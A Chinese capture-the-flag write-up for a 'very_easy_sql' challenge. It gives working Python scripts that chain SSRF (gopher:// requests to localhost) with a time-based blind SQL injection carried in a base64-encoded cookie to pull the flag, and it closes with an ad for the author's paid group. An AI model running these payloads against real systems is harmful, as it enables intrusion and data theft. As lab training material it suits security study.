very_easy_sql
发现个注释
use.php
页面显示"you are not an inner user, so we can not let you have identify~",就是说只能内部访问登录。这里抓包还看到返回包里有个set-cookie
ssrf
http://61.147.171.105:61026/use.php?url=127.0.0.1/use.php
构造ssrf语句实现从内部访问
import urllib.parse
host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)
test =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
{}
""".format(host,content_length,content)
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/cation/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250
发现成功
注入点在cookie,通过使用时间盲注payload然后再base64转码,编写盲注脚本
import urllib.parse
import requests
import time
import base64
url="http://61.147.171.105:61026//use.php?url="
flag=""
for pos in range(1,50):
for i in range(33,127):
#poc="') union select 1,2,if(1=1,sleep(5),1) # "
#security
#poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
#flag
#poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
poc="') union select 1,2,if(ascii( substr((select * from flag),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
final_poc="gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D"+bs+"%3B%250d%250a"
t1=time.time()
res=requests.get(url+final_poc)
t2=time.time()
if(t2-t1>2):
flag+=chr(i)
print(flag)
break
print(flag)
欢迎加入我的知识星球,内含有多篇赏金漏洞
某211硕在读,三分之一的白帽子,三分之一的科研er,这里适合想要学习安全的小白师傅,适合致力于挖掘漏洞的师傅,适合安全研究人员师傅,以及想要做安全科研的师傅,想要了解网络空间安全研究生生活的师傅